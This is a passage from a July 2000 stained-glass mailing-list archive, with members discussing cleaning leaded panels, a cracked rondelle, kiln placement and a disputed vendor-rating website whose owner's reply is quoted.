><META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
><STYLE></STYLE>
></HEAD>
><BODY bgColor=3D#ffffff>
><DIV><FONT face=3DArial size=3D2>Cleaning leaded work in place use water =
>and vinegar=20
>(not your balsamic or wine type just your common or garden variety) and=20
>newspaper scrunched up, wash and rub dry off with more paper. sparkling =
>ones=20
>guaranteed. copper foil work the same method applies or wash it in a =
>bowl of=20
>soapy water. if you worry about dust on your work do not use any mineral =
>based=20
>products i.e. washing up liquid, as this creates static and attracts =
>dust.=20
></FONT></DIV>
><DIV><FONT face=3DArial size=3D2>Finally a message to any of my window =
>cleaning=20
>customers don't wax your windows as the smears will be terrible and I =
>wont be=20
>able to do anything about it.</FONT></DIV></BODY></HTML>
>
>------=_NextPart_000_0065_01BFF59A.7C7D0500--
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Tue Jul 25 15:26:02 2000
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From: CncptThnkr@aol.com
To: Patty.McMaster@fbol.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: patio door table
Date: Tue, 25 Jul 2000 18:07:07 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hey Patty,

I've no idea of the logistics of building a frame for the table, but I have a 
question....what will the final use of this table be?  Aren't you going to 
have a problem with a table of that size with such an uneven surface?    If 
you are using globs, cut glass, rondells and whatever I assume it won't be 
level on top.   Did you ever consider doing the mosaic on the door but using 
it vertically instead of horizontally?  Maybe a room divider?

ia
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From owner-glass Tue Jul 25 16:00:35 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Gailchat1@aol.com
Subject: My finished panel....cracked rondelle
Date: Tue, 25 Jul 2000 22:50:54 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Don't patch it with a lead line, please.
Either leave it or obtain another rondelle and repair the panel when it
arrives.

Steve

In message <1970Jan1.000.0@?>, Gailchat1@aol.com writes
>Below is the URL that you can use to visit my photopoint album, and take a 
>gander at our finished panel. The cracked rondelle is in the top right 
>corner, and as you can see from a staight on view, is not visible.
>Just thought I'd share. If a password is asked for, use TOLE. I password 
>protected it to keep my friend from stumbling on it,and ruining the surprise.
>
>      http://albums.photopoint.com/j/AlbumIndex?u=24390&a=7342741   
>
>Ronda
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Tue Jul 25 21:00:43 2000
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X-Path: home.com!cecnralph
From: cecnralph <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1
Subject: Re: Shar Moorman's tests & Prof. Cummings annealing schedules (LONG)
Date: Tue, 25 Jul 2000 23:54:12 -0400
Message-ID: <1970Jan1.000.0>
References: <<bpLCXHAPmge5Ewtw@verrier-scotland.demon.co.uk>>
Organization: Grendel Studio
Precedence: bulk

Thanks Steve - Isn't Bungi great? - Cec

Steve Richard wrote:
>
> 
> My methods of testing for annealing point are adapted from Shar Morman's
> book “Warm Glass”.  Shar is an Australian glass artist, who works like
> me in Centigrade. 

*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood 
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************
----
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From owner-glass Wed Jul 26 00:06:27 2000
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From: cecnralph <cecnralph@home.com>
To: Karen K <giapet@softhouse.com>, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Setting up Kiln?
Date: Wed, 26 Jul 2000 02:10:02 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

I just got a new kiln - still waiting for the electrician, and its
stubby little legs were so low I thought it would be very uncomfortable
to use, so I put it on  concrete blocks (concrete floor anyway)  Seems
as though the durock ought to be enough, if you use blocks under the
legs - or use fire brick.  I definately would NOT use wood, and I would
cover the carpet.  My friend has a bead annealer Jenn-Ken which is on
her workbench.  She covered the bench top with ceramic tile, and then
used firebrick to stand the kiln on.  They really get hot on the outside.

Karen K wrote:
> 
> Just got an Evenheat 23 x 13 glass kiln.  Directions say it is best to =
> set the kiln (with 8" stand) on a concrete floor or a protective board =
> under it to prevent the floor from discoloring.  I have foam-backed =
> carpet in the shop.  Which would be adequate enough?
> 
> 1) to use 1/2" durock (cement board) directly on the carpet. =20
> The cement board would hold some heat but not sure how much. =20
> 
> 2) 1/2" durock supported by several 2 x 4's to create some air space.
> 
> 3) use the more expensive insulating board from a wood stove company =
> directly on the carpet.
> 
> Thanks in advance for any advice.
> Karen
> giapet@softhouse.com
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

-- 
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood 
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************
----
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To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass

From owner-glass Wed Jul 26 00:23:10 2000
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	for rglass-42; Tue, 25 Jul 2000 23:58:38 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #351 built 2000-Jul-25)
X-Path: home.com!cecnralph
From: cecnralph <cecnralph@home.com>
To: Gailchat1@aol.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Rondelle cracked....now what!
Date: Wed, 26 Jul 2000 01:56:05 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

I had something similar happen - we were going to visit a friend and I'd
made a neat panel as a thank you present.  My husband loaded the car
(put it flat on the seat with things on it instead of on edge where it
could be seen).  I leaned in to put something in the car, leaned on the
panel (not knowing it was there) and ccccrrrraaaaacccccckkkkkkk.  I was
so furious I cried.  So we took it anyway, I gave it to her, then took
it home and fixed it, and sent the fixed panel back to her.

As for the crack, the towels sound like a good idea.  Sometimes glass
just cracks - even several days after you've made a piece.  Sometimes
you can attribute it to having worked in that area with the iron too
long, and sometimes you have no clue.

Gailchat1@aol.com wrote:
> 
> Well, seems I am doomed!
> My husband and I just finished soldering an English Muffle Victorian design
> panel (approx 15"x17"). In the process, I heard a crack. (I was not currently
> soldering Rondelle when it cracked).
> We purchased 4 antique Rondelles from Blenko to use as an accent piece in
> each corner.  (should have bought a back up piece).
> We are making this as a gift for a very close couple for their 25th wedding
> anniversary. They renew their vows this weekend, and we leave this Thursday
> for the drive to their house. (they are out of state).
> So, no time to order from Blenko and replace it.
> The rondelle is about 2 1/4", amber in color. The crack runs from one side of
> the rondelle to the other. The rondelle is located in the top right corner
> (at least it is not on the bottom).  It is not noticeable from some angles,
> noticable from others.
> My questions are this.......
> 1) tacky to give this as a gift when it has a crack? (my husband just calls
> it a signature piece) <G>
> 2) is one able to fill the crack with something I could readily find?
> 3) why did this crack?  (could have had a small crack made worse by heat of
> soldering?)
> 4) when we soldered 'nipple' side down, we had the weight of the panel
> supported by towels in the center, did this help/hurt?
> 
> Lesson learned......buy extra Rondelles for project!
> 
> Ronda...bummed and out of time
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

-- 
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood 
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************
----
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To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass

From owner-glass Wed Jul 26 02:30:36 2000
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	for rglass-42; Wed, 26 Jul 2000 02:21:53 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #351 built 2000-Jul-25)
X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: A-1-Stained-Glass-Links.com..this is scary
Date: Thu, 27 Jul 2000 00:58:50 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
Precedence: bulk


--------------E14021989F49DEE0D14D4005
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

 I don't normally comment on sites like this but I was a bit shocked
that someone can potentially draw clients away from your business by
rating you with stars. Just my opinion.
 A-1-Stained Glass Links.com


Pam

--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com



--------------E14021989F49DEE0D14D4005
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi all,
<p>&nbsp;I don't normally comment on sites like this but I was a bit shocked
that someone can potentially draw clients away from your business by rating
you with stars. Just my opinion.
<br>&nbsp;<a href="http://www.A-1-Stained-Glass-Links.com/">A-1-Stained
Glass Links.com</a>
<br>&nbsp;
<p>Pam
<p>--
<p>Ms. Pamela Burns-Tappan
<br>Executive Director
<br>The Stained Glass Artists
<br><A HREF="http://stainedglassartists.com">http://stainedglassartists.com</A>
<br>&nbsp;
<br>&nbsp;</html>

--------------E14021989F49DEE0D14D4005--

----
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From owner-glass Wed Jul 26 05:29:40 2000
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	for rglass-42; Wed, 26 Jul 2000 05:14:14 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #351 built 2000-Jul-25)
X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Pamela Burns-Tappan <ptap@pacifier.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 05:15:01 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta4.snfc21.pbi.net>>
Precedence: bulk



Pamela Burns-Tappan wrote:
<<<<<
Hi all,

 I don't normally comment on sites like this but I
was a bit shocked
that someone can potentially draw clients away
from your business by
rating you with stars. Just my opinion.
 A-1-Stained Glass Links.com

>>>>>

Hi Pam,

A-1-Stained Glass Links.com
A-1-StainedGlassLinks.com
A1-StainedGlassLinks.com
A-1StainedGlassLinks.com
A1StainedGlassLinks.com
www.A-1-Stained Glass Links.com
www.A-1-StainedGlassLinks.com
www.A1-StainedGlassLinks.com
www.A-1StainedGlassLinks.com
www.A1StainedGlassLinks.com

None of the above are valid links.

Also tried to look this up with Yahoo
and several other search engines.
Nothing turned up.

What *IS* the actual website address please?

Regards ..... Bob K.

----
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From owner-glass Wed Jul 26 06:30:51 2000
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	for rglass-42; Wed, 26 Jul 2000 06:09:32 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #351 built 2000-Jul-25)
X-Path: home.com!maryloueveland
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: "rrk" <ezbongo2@pacbell.net>,
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 07:47:56 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

It should be http://www.A-1-Stained-Glass-Links.com
(A-1-Stained-Glass-Links.com).

It doesn't say why they think they are qualified to rate sites but this is
what they put at the bottom of their page:

    We rate each site based on very simple criteria, namely does it get the
    job done. Many suppliers attempt to lure in customers for a high
pressure
    high priced sale. We rate suppliers low if they do not post their
prices.
    The page(s) for supplies will tell you whether the stained glass
supplier is retail or wholesale
    and if prices for are shown. We also indicate if their site has
    a good selection of supplies.

    The page(s) for books on Stained Glass are an excellent source for the
beginner or
    the advanced Stained Glass enthusiast. They include new technologies and
methods that
    have been utilized for hundreds of years.

Their rating system definitely isn't accurate because they rated The Stained
Glass Warehouse lower than their #1 rated site because THEY said that it did
offer over 200 items, which it definitely does.


----- Original Message -----
From: "rrk" <ezbongo2@pacbell.net>
To: "Pamela Burns-Tappan" <ptap@pacifier.com>
Sent: Wednesday, July 26, 2000 7:15 AM
Subject: Re: A-1-Stained-Glass-Links.com..this is scary




Pamela Burns-Tappan wrote:
<<<<<
Hi all,

 I don't normally comment on sites like this but I
was a bit shocked
that someone can potentially draw clients away
from your business by
rating you with stars. Just my opinion.
 A-1-Stained Glass Links.com

>>>>>

Hi Pam,

A-1-Stained Glass Links.com
A-1-StainedGlassLinks.com
A1-StainedGlassLinks.com
A-1StainedGlassLinks.com
A1StainedGlassLinks.com
www.A-1-Stained Glass Links.com
www.A-1-StainedGlassLinks.com
www.A1-StainedGlassLinks.com
www.A-1StainedGlassLinks.com
www.A1StainedGlassLinks.com

None of the above are valid links.

Also tried to look this up with Yahoo
and several other search engines.
Nothing turned up.

What *IS* the actual website address please?

Regards ..... Bob K.

----
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To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass


----
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To send to the list,      please mail to: glass@bungi.com
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From owner-glass Wed Jul 26 11:31:06 2000
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Received: by daver.bungi.com
	via smail with stdio
	id <m13HVhI-0000Fla@daver.bungi.com>
	for rglass-42; Wed, 26 Jul 2000 11:14:24 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #352 built 2000-Jul-26)
X-Path: waterw.com!artglass
From: "pj friend" <artglass@waterw.com>
To: <glass@bungi.com>
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 13:59:06 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

So even if you sell crap. As long as your web site includes everything you
get a good rating.  Ok so we know these guys have no business rating anyone.
Lots of that going on these days.

my best,
pj

Paul Friend Architectural Glass & Design, Inc.
www.waterw.com/~artglass
Accredited Studio Member of the Stained Glass Association of America
Associate Member AIA
Member International Guild of Glass Artists

----- Original Message -----
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: "rrk" <ezbongo2@pacbell.net>
Sent: Wednesday, July 26, 2000 8:47 AM
Subject: Re: A-1-Stained-Glass-Links.com..this is scary


> It should be http://www.A-1-Stained-Glass-Links.com
> (A-1-Stained-Glass-Links.com).
>
> It doesn't say why they think they are qualified to rate sites but this is
> what they put at the bottom of their page:
>
>     We rate each site based on very simple criteria, namely does it get
the
>     job done. Many suppliers attempt to lure in customers for a high
> pressure
>     high priced sale. We rate suppliers low if they do not post their
> prices.
>     The page(s) for supplies will tell you whether the stained glass
> supplier is retail or wholesale
>     and if prices for are shown. We also indicate if their site has
>     a good selection of supplies.
>
>     The page(s) for books on Stained Glass are an excellent source for the
> beginner or
>     the advanced Stained Glass enthusiast. They include new technologies
and
> methods that
>     have been utilized for hundreds of years.
>
> Their rating system definitely isn't accurate because they rated The
Stained
> Glass Warehouse lower than their #1 rated site because THEY said that it
did
> offer over 200 items, which it definitely does.
>
>
> ----- Original Message -----
> From: "rrk" <ezbongo2@pacbell.net>
> To: "Pamela Burns-Tappan" <ptap@pacifier.com>
> Sent: Wednesday, July 26, 2000 7:15 AM
> Subject: Re: A-1-Stained-Glass-Links.com..this is scary
>
>
>
>
> Pamela Burns-Tappan wrote:
> <<<<<
> Hi all,
>
>  I don't normally comment on sites like this but I
> was a bit shocked
> that someone can potentially draw clients away
> from your business by
> rating you with stars. Just my opinion.
>  A-1-Stained Glass Links.com
>
> >>>>>
>
> Hi Pam,
>
> A-1-Stained Glass Links.com
> A-1-StainedGlassLinks.com
> A1-StainedGlassLinks.com
> A-1StainedGlassLinks.com
> A1StainedGlassLinks.com
> www.A-1-Stained Glass Links.com
> www.A-1-StainedGlassLinks.com
> www.A1-StainedGlassLinks.com
> www.A-1StainedGlassLinks.com
> www.A1StainedGlassLinks.com
>
> None of the above are valid links.
>
> Also tried to look this up with Yahoo
> and several other search engines.
> Nothing turned up.
>
> What *IS* the actual website address please?
>
> Regards ..... Bob K.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


----
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From owner-glass Wed Jul 26 12:30:46 2000
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	for rglass-42; Wed, 26 Jul 2000 12:22:52 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #352 built 2000-Jul-26)
X-Path: home.com!maryloueveland
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: "rrk" <ezbongo2@pacbell.net>,
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 07:47:56 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

It should be http://www.A-1-Stained-Glass-Links.com
(A-1-Stained-Glass-Links.com).

It doesn't say why they think they are qualified to rate sites but this is
what they put at the bottom of their page:

    We rate each site based on very simple criteria, namely does it get the
    job done. Many suppliers attempt to lure in customers for a high
pressure
    high priced sale. We rate suppliers low if they do not post their
prices.
    The page(s) for supplies will tell you whether the stained glass
supplier is retail or wholesale
    and if prices for are shown. We also indicate if their site has
    a good selection of supplies.

    The page(s) for books on Stained Glass are an excellent source for the
beginner or
    the advanced Stained Glass enthusiast. They include new technologies and
methods that
    have been utilized for hundreds of years.

Their rating system definitely isn't accurate because they rated The Stained
Glass Warehouse lower than their #1 rated site because THEY said that it did
offer over 200 items, which it definitely does.


----- Original Message -----
From: "rrk" <ezbongo2@pacbell.net>
To: "Pamela Burns-Tappan" <ptap@pacifier.com>
Sent: Wednesday, July 26, 2000 7:15 AM
Subject: Re: A-1-Stained-Glass-Links.com..this is scary




Pamela Burns-Tappan wrote:
<<<<<
Hi all,

 I don't normally comment on sites like this but I
was a bit shocked
that someone can potentially draw clients away
from your business by
rating you with stars. Just my opinion.
 A-1-Stained Glass Links.com

>>>>>

Hi Pam,

A-1-Stained Glass Links.com
A-1-StainedGlassLinks.com
A1-StainedGlassLinks.com
A-1StainedGlassLinks.com
A1StainedGlassLinks.com
www.A-1-Stained Glass Links.com
www.A-1-StainedGlassLinks.com
www.A1-StainedGlassLinks.com
www.A-1StainedGlassLinks.com
www.A1StainedGlassLinks.com

None of the above are valid links.

Also tried to look this up with Yahoo
and several other search engines.
Nothing turned up.

What *IS* the actual website address please?

Regards ..... Bob K.

----
For subscription changes, please mail to: glass-request@bungi.com
To send to the list,      please mail to: glass@bungi.com
Archives available at http://www.bungi.com/glass


----
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To send to the list,      please mail to: glass@bungi.com
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From owner-glass Wed Jul 26 13:40:59 2000
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	for rglass-42; Wed, 26 Jul 2000 13:30:15 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #352 built 2000-Jul-26)
X-Path: pop3.nildram.co.uk!glass
From: "Toby" <toby@northlights.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 19:57:02 +0100
Message-ID: <200007261809.e6QI9Ba07331@mercury.nildram.co.uk>
Precedence: bulk

Hi All,

I too had a look at the site, signed by someone calling herself 
"Marjorie", without explaining, demonstrating or showing any 
evidence what qualifies her to be Judge and Jury.
Like Pam, I was pretty horrified.
She / her site listed a few people I actually know personally, both 
in USA and in UK (.....for instance, Summit Stained Glass, which 
is Mike Peck. He was a retailer many, many years ago. But his 
knowledge, care of stained glass truly impressed me.... Like 
Bournemouth Stained Glass here in UK (aka EliZabeth 'n Sam Law 
in Bournemouth - who are highly professional people!).
Marjorie - whoever she is, needs to climb down a peg or two, 
realize that she is WAY OUT OF DATE, hasn't understood the 
difference beteween the Glass Artist and the Glass Artist Supplier, 
hasn't done her Homework properly. 
.....As the President of one of the companies I worked for told me, 
during my learning stages "The Devil sits in the details, Mrs. 
Roberg".... How true that always is.

Thanks Pamela for bringing this Rogue to our attention.
Take NO notice!!!
Just ignore!
YOU know you are good!

Elisabeth 'n Toby in UK (who wasn't even listed!!)


Mary Lou wrote:
> It should be http://www.A-1-Stained-Glass-Links.com
> (A-1-Stained-Glass-Links.com).
> 
> It doesn't say why they think they are qualified to rate sites but this is
> what they put at the bottom of their page:
> 
>     We rate each site based on very simple criteria, namely does it get the
>     job done. Many suppliers attempt to lure in customers for a high
> pressure
>     high priced sale. We rate suppliers low if they do not post their
> prices.
>     The page(s) for supplies will tell you whether the stained glass
> supplier is retail or wholesale
>     and if prices for are shown. We also indicate if their site has
>     a good selection of supplies.
> 
>     The page(s) for books on Stained Glass are an excellent source for the
> beginner or
>     the advanced Stained Glass enthusiast. They include new technologies and
> methods that
>     have been utilized for hundreds of years.
> 
> Their rating system definitely isn't accurate because they rated The Stained
> Glass Warehouse lower than their #1 rated site because THEY said that it did
> offer over 200 items, which it definitely does.
> 
> 
> Pamela Burns-Tappan wrote:
> <<<<<
> Hi all,
> 
>  I don't normally comment on sites like this but I
> was a bit shocked
> that someone can potentially draw clients away
> from your business by
> rating you with stars. Just my opinion.
>  A-1-Stained Glass Links.com
> 
> >>>>>
> 


> 

----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Wed Jul 26 15:31:36 2000
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	via smail with stdio
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	for rglass-42; Wed, 26 Jul 2000 15:23:27 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #352 built 2000-Jul-26)
X-Path: aol.com!Fsagg
From: Fsagg@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 18:17:59 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I also visited this "rating system," which maybe created solely for the 
creator's purpose of being able to put herself/hisself at the top of the 
list? I do not know if this is true, but it seems highly likely to me. If it 
does turn out to be true, I would not be surprised, as the tackiness of the 
site compliments well the butt-ugly clown on the first page of the first site 
listed. If I have made this conclusion in error, and the author of the 
"rating system" is  not the owner of the poor clown, please accept my 
forthright apologies. Anyway, when right-clicking on the webpage and choosing 
the option to "view source" you can see the author of the rating system is a 
person named Marjorie Lindsey.
ciao
Laura

 <A HREF="http://www.theultimates.com/white">The Ultimate White Pages</A> 
----
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From owner-glass Wed Jul 26 15:46:50 2000
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	(Smail-3.2.0.94 1997-Apr-22 #352 built 2000-Jul-26)
X-Path: earthlink.net!glasscutter
From: Gerry Phibbs <glasscutter@earthlink.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: A-1-Stained Glass Links..
Date: Wed, 26 Jul 2000 13:38:50 +0000
Message-ID: <1970Jan1.000.0>
Organization: International Guild of Glass Artists, Inc.
Precedence: bulk

Hi all,
  I took a look at the site, only 30 visitors when I saw it.  So, I sent
an email, asking for clarification, and here's the text of the rather
boiler plate response, and of my original inquiry.
  Oh.. and it should be no surprise that Marjorie's email address of
"THughes@fancyglassandexotics.com", seems rather interestingly linked to
the ONE site that gets the full four (or is that five) star ratings.
  I'm not all that impressed, or threatened by anything on these sites. 
Like many Internet sites, it has the appearance of one thing, but the
reality of another.  I see this as a commercial marketing venture, that
probably won't really do much to affect anyone's sales, ratings or no.
  Peace  -Gerry

---

Hi Gerry,

There are multiple purposes of the site, as explained on the site.  In many
ways the site was born out of frustrations.  So many times I have done
Internet searches, only to find the actual pages behind the search results
do not represent what was advertised on the search engines.  Also, when
I am looking to purchase something, I find it very frustrating to go
into pages only to find out that pricing is not displayed, if vendors
are ashamed of their pricing, they should adjust it to a level where
they are proud to display it.  Additionally, I do not appreciate it when
a vendor employs the tactics of trying to pressure one into purchasing
items over the telephone, one of the main advantages of the Internet is
(or should be) the ability of one to go window shopping and make their
own decisions on purchase.  The cost of setting up a site with on-line
purchasing is so minimal, I believe there must be sales orientated
reason for not publishing prices and taking orders over the net.  A
final reason for the site is that there are only a few thousand
merchants on the net, but there are hundreds of thousands of results on
searches, when I do a search and get the same vendor dozens and dozens
of times, page after page and disguised (many vendors put up dozens of
sites under fictitious names and do an automatic re-direct), I feel they
are wasting my time.  In summary, this site is supposed to be a service
for people, to assist in directing them to sites that do not employ the
above practices.

As far as judging criteria, from the above you should be able to tell I
have a dislike for companies that utilize the selling techniques of Used
Car Salesmen.  The criteria for judging them are the headings on the
pages, the quality of the site (many have broken links) and does the
site try to get personal information (like telephone number for a
telemarketing effort), but the main one is "posted pricing".  If I have
represented any company incorrectly, they are more than welcome to
e-mail me and I will re-visit their site and change anything I have
posted in error, I have tried to be very fair in the rankings. 
Hopefully, the sites with lower rankings will change their marketing
techniques and e-mail me with updates.

As you noticed, there are very few visitors as of now, yes the site is new,
and I have not devoted the time yet to get  a high listing on search
engines.  Everybody starts someplace.

I take it you site did not get the ranking you would like.  Once again,
if I have listed something on your site in error, or you have changed
the things that gave it a lower listing, e-mail me with the changes.

Peace  -Marjorie, Chairman A-1-Stained-Glass-Links

-----Original Message-----
From: Gerry Phibbs <glasscutter@earthlink.net>
To: MLindsey@A-1-Stained-Glass-Links.com
<MLindsey@A-1-Stained-Glass-Links.com>
Date: Wednesday, July 26, 2000 3:30 AM
Subject: Introductions Please


>Hi.. Marjorie is it?
>  A mention of your site, crossed my screen tonight, and I thought I'd
>take a gander at it.  With the counter at only 30, I can figure that
>your site is fairly new?
>  I've taken a bit of a look around, and I'm confused about your site.
>What is it that you're attempting to do with the site?  Separate the
>"wheat from the chaff".. okay.. I get that large picture, but based on
>what criteria?  Are your ratings based on the quality of the web sites
>listed?  Or the pricing?  Are you reviewing sites for retail finished
>stained glass goods, or for supplies, or what?  From what I was able to
>see, it appears that this is a listing of sites selling finished goods,
>not supplies.
>  And as for "associations".. well, there are quite a few others that
>might qualify on some level.
>  I'm interested in finding out more about the judging criteria that you
>folks employ, and to learn a bit more about exactly what sort of service
>you're trying to provide from this site.  Are you using this site as a
>means to redirect to retail stained glass (commercial) sites, or are you
>trying for something a bit more inclusive?
>  Peace  -Gerry Phibbs, Chairman, International Guild of Glass Artists,
>Inc.
>       (www.igga.org)
>
----
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From owner-glass Wed Jul 26 15:53:59 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Toby" <toby@northlights.co.uk>,
Subject: Re: A-1-Stained-Glass-Links.com..this is scary
Date: Wed, 26 Jul 2000 18:01:22 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Toby,
That was my take on the page, it seems that the person doing the grading is
totally anonymous.  What is their criteria.  Also, do they happen to own the
5 start one listed at the top.  Probably it is a well meaning glass person
that just put a web page together.
For myself, I will make my own decisions on who I deal with.  We all network
enough that if there is a clinker out there it will rise to the surface.
Linda Jo
-----Original Message-----
From: Toby <toby@northlights.co.uk>
To: glass@bungi.com <glass@bungi.com>
Date: Wednesday, July 26, 2000 4:52 PM
Subject: Re: A-1-Stained-Glass-Links.com..this is scary


>Hi All,
>
>I too had a look at the site, signed by someone calling herself
>"Marjorie", without explaining, demonstrating or showing any
>evidence what qualifies her to be Judge and Jury.
>Like Pam, I was pretty horrified.
>She / her site listed a few people I actually know personally, both
>in USA and in UK (.....for instance, Summit Stained Glass, which
>is Mike Peck. He was a retailer many, many years ago. But his
>knowledge, care of stained glass truly impressed me.... Like
>Bournemouth Stained Glass here in UK (aka EliZabeth 'n Sam Law
>in Bournemouth - who are highly professional people!).
>Marjorie - whoever she is, needs to climb down a peg or two,
>realize that she is WAY OUT OF DATE, hasn't understood the
>difference beteween the Glass Artist and the Glass Artist Supplier,
>hasn't done her Homework properly.
>.....As the President of one of the companies I worked for told me,
>during my learning stages "The Devil sits in the details, Mrs.
>Roberg".... How true that always is.
>
>Thanks Pamela for bringing this Rogue to our attention.
>Take NO notice!!!
>Just ignore!
>YOU know you are good!
>
>Elisabeth 'n Toby in UK (who wasn't even listed!!)
>
>
>Mary Lou wrote:
>> It should be http://www.A-1-Stained-Glass-Links.com
>> (A-1-Stained-Glass-Links.com).
>>
>> It doesn't say why they think they are qualified to rate sites but this
is
>> what they put at the bottom of their page:
>>
>>     We rate each site based on very simple criteria, namely does it get
the
>>     job done. Many suppliers attempt to lure in customers for a high
>> pressure
>>     high priced sale. We rate suppliers low if they do not post their
>> prices.
>>     The page(s) for supplies will tell you whether the stained glass
>> supplier is retail or wholesale
>>     and if prices for are shown. We also indicate if their site has
>>     a good selection of supplies.
>>
>>     The page(s) for books on Stained Glass are an excellent source for
the
>> beginner or
>>     the advanced Stained Glass enthusiast. They include new technologies
and
>> methods that
>>     have been utilized for hundreds of years.
>>
>> Their rating system definitely isn't accurate because they rated The
Stained
>> Glass Warehouse lower than their #1 rated site because THEY said that it
did
>> offer over 200 items, which it definitely does.
>>
>>
>> Pamela Burns-Tappan wrote:
>> <<<<<
>> Hi all,
>>
>>  I don't normally comment on sites like this but I
>> was a bit shocked
>> that someone can potentially draw clients away
>> from your business by
>> rating you with stars. Just my opinion.
>>  A-1-Stained Glass Links.com
>>
>> >>>>>
>>
>
>
>>
>
>----
>As my grandmother said "...there is only nobility of mind"
>North Lights Stained Glass - homepage
>http://www.netlink.co.uk/users/kris/northlights/index.htm
>----
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


----
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From owner-glass Wed Jul 26 16:16:46 2000
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X-Path: aol.com!Fsagg
From: Fsagg@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: one last thing...
Date: Wed, 26 Jul 2000 19:08:58 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

one last thing that I meant to add is that these sites cannot be compared 
since they are in altogether different classes. Just compare the 1st site 
